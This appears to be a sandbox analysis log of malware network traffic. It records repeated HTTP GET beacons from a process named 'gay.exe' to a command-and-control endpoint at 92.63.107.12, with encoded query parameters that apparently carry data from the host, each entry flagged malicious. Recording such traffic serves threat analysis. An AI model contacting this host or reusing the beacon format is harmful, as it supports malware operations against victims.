http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&ad34a48e6d8df718784ff1d749fc05c5=0VfiIiOiEDNhJjMjJDNihDOlZ2Y2ImY5EzY2YmM5EGOzgzY0EGZiwiIyUjNxMWZ4gjZlRWO2IzMkVTOwQmNlZDNkVTM1YjYhNzYldTZxYGOhJiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W
RU
text
2.11 Kb
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&179e5ef963d7209557ce6d2e775acbf9=d1nI5oUejFjQzQ1Y4FjW1x2VihWOtV1Y4ZVWwY0RSdnQYF1Y4xmYwFzRahGeGhleKhlW6ZlRYNGc6FVavpWSvJFWZFlSDxUaJpGTxQzQOl2bqlUd5cVY6pEWadFdtNmdkhlW0ZUbjdkSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVtmSzImaOhVYFp0QMlGNyQmd1ITY1ZFbJZTSDFGMGdUV0ZUbj5mVHJGbSxWSzlUaJZTS5N2dChVU0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSFx2ajxmTYZFdGdlWw4EbJNXS5NmdkdVY5J1VZlXOGJGbs12YpZkMal2bqlUeWJzYWFzVZxmUzUVa3NkYzZlbiZTS5pVdGdEV0Z0VaBjTsl0cJNlYoZ1RkpXO5NGb4dVYtJ0UihmSzoldKh0Y29meZl2bql0bShVWRFzVZxmUzUVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXSpFFSCNlT11kaJZTSTRlQKxWSzl0URZHNrlkNJNkW5ZkMilmSYp1bSNjYOp0QMlWRww0TKl2Tpd3RihGZYpVes1mUpdXaJJUOpRVavpWS6ZlbjBnWYFGM1cVUpdXaJVHZzIWd01mYWpUaPlWQWN1TGVEVpdXaJ1EeVJVRKl2Tp1UMUpkSrl0cJN1S2x2RaFjRFl0MrpnSEZURJJnVHR2cGdlWTh2QJVHbFlEb1cVYNVzRYlHexIGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBNlW1lzRhdXOtNmasdFVp9maJpnVtJmdod0Y2p0MZBXMrl0cJlWS2kUejRnRykVaWJjVpdXaJZDawI1djpGT5F0QRdWVGVFRCNUT3FlaORXVUF2ZrNFVVh2UalXOyE1ZrlWVvd3VaBTNXNVavpWSsFzVZ9kVGVFRKNETplURJdXQTx0ZJhlWwIEWZtmRFlkeOdVYvJEWZlHZFlkQktmVnFVbjhmUtJGaSNTVp9maJxWMXl1TWZUVIpUelJiOiEDNhJjMjJDNihDOlZ2Y2ImY5EzY2YmM5EGOzgzY0EGZiwiIyUjNxMWZ4gjZlRWO2IzMkVTOwQmNlZDNkVTM1YjYhNzYldTZxYGOhJiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W
RU
text
2.11 Kb
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&179e5ef963d7209557ce6d2e775acbf9=d1nI5oUejFjQzQ1Y4FjW1x2VihWOtV1Y4ZVWwY0RSdnQYF1Y4xmYwFzRahGeGhleKhlW6ZlRYNGc6FVavpWSvJFWZFlSDxUaJpGTxQzQOl2bqlUd5cVY6pEWadFdtNmdkhlW0ZUbjdkSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVtmSzImaOhVYFp0QMlGNyQmd1ITY1ZFbJZTSDFGMGdUV0ZUbj5mVHJGbSxWSzlUaJZTS5N2dChVU0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSFx2ajxmTYZFdGdlWw4EbJNXS5NmdkdVY5J1VZlXOGJGbs12YpZkMal2bqlUeWJzYWFzVZxmUzUVa3NkYzZlbiZTS5pVdGdEV0Z0VaBjTsl0cJNlYoZ1RkpXO5NGb4dVYtJ0UihmSzoldKh0Y29meZl2bql0bShVWRFzVZxmUzUVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXSpFFSCNlT11kaJZTSTRlQKxWSzl0URZHNrlkNJNkW5ZkMilmSYp1bSNjYOp0QMlWRww0TKl2Tpd3RihGZYpVes1mUpdXaJJUOpRVavpWS6ZlbjBnWYFGM1cVUpdXaJVHZzIWd01mYWpUaPlWQWN1TGVEVpdXaJ1EeVJVRKl2Tp1UMUpkSrl0cJN1S2x2RaFjRFl0MrpnSEZURJJnVHR2cGdlWTh2QJVHbFlEb1cVYNVzRYlHexIGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBNlW1lzRhdXOtNmasdFVp9maJpnVtJmdod0Y2p0MZBXMrl0cJlWS2kUejRnRykVaWJjVpdXaJZDawI1djpGT5F0QRdWVGVFRCNUT3FlaORXVUF2ZrNFVVh2UalXOyE1ZrlWVvd3VaBTNXNVavpWSsFzVZ9kVGVFRKNETplURJdXQTx0ZJhlWwIEWZtmRFlkeOdVYvJEWZlHZFlkQktmVnFVbjhmUtJGaSNTVp9maJxWMXl1TWZUVIpUelJiOiEDNhJjMjJDNihDOlZ2Y2ImY5EzY2YmM5EGOzgzY0EGZiwiIyUjNxMWZ4gjZlRWO2IzMkVTOwQmNlZDNkVTM1YjYhNzYldTZxYGOhJiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W
RU
text
2.11 Kb
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&d1e7b4781b4cb2b6aa49613b1a4398b8=d1nIhZWYmljZ4cjMkJDM2kDOwYGO2MjYlRDZxITZyQDZwQmYkRTYlVjZxIiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W&ad34a48e6d8df718784ff1d749fc05c5=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
RU
text
104 b
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&d1e7b4781b4cb2b6aa49613b1a4398b8=d1nIhZWYmljZ4cjMkJDM2kDOwYGO2MjYlRDZxITZyQDZwQmYkRTYlVjZxIiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W&ad34a48e6d8df718784ff1d749fc05c5=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
RU
text
104 b
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&d1e7b4781b4cb2b6aa49613b1a4398b8=d1nIhZWYmljZ4cjMkJDM2kDOwYGO2MjYlRDZxITZyQDZwQmYkRTYlVjZxIiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W&ad34a48e6d8df718784ff1d749fc05c5=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
RU
text
104 b
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&d1e7b4781b4cb2b6aa49613b1a4398b8=d1nIhZWYmljZ4cjMkJDM2kDOwYGO2MjYlRDZxITZyQDZwQmYkRTYlVjZxIiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W&ad34a48e6d8df718784ff1d749fc05c5=d1nIiojIxQTYyIzYyQjY4gTZmNmNiJWOxMmNmJTOhhzM4MGNhRmIsISYmFmZ5YGO3IDZyAjN5gDMmhjNzIWZ0QWMyUmM0QGMkJGZ0EWZ1YWMiojI2YjNxU2NwgTZ5czNlFjZxY2MyY2YxUWOlJTZ4E2MjRmIsISY1EWY3Q2MxQjM3gDO4E2M0QjZhJ2YyATN5UTZyQmNyEmYhdDNxgzMiojIkVjYhFzN1kzNyEWOlZmN5kzYmZDMiNjMzcjNwUDN2EmI7xSfi